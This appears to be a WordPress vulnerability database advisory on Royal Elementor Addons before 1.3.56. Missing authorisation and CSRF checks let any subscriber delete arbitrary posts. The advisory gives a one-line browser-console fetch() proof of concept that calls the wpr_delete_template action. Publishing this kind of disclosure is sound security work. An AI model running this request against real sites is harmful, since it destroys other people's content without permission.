WordPress Plugin Vulnerabilities

Royal Elementor Addons < 1.3.56 - Subscriber+ Arbitrary Post Deletion

Description

The plugin does not have authorization and CSRF checks when deleting a template and does not ensure that the post to be deleted is a template. This could allow any authenticated users, such as subscribers, to delete arbitrary posts assuming they know the related slug.

Proof of Concept

Run the below command in the developer console of the web browser while being on the blog as a subscriber

fetch('/wp-admin/admin-ajax.php?action=wpr_delete_template', {
       method: 'POST',
       headers: {"Content-Type": "application/x-www-form-urlencoded"},
       body: 'template_slug=hello-world&template_library=post'
});

Affects Plugins

Fixed in 1.3.56

References

Classification

Type
NO AUTHORISATION
CWE
CVSS

Miscellaneous

Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-12-15 (about 1 years ago)
Added
2022-12-14 (about 1 years ago)
Last Updated
2022-12-14 (about 1 years ago)

Other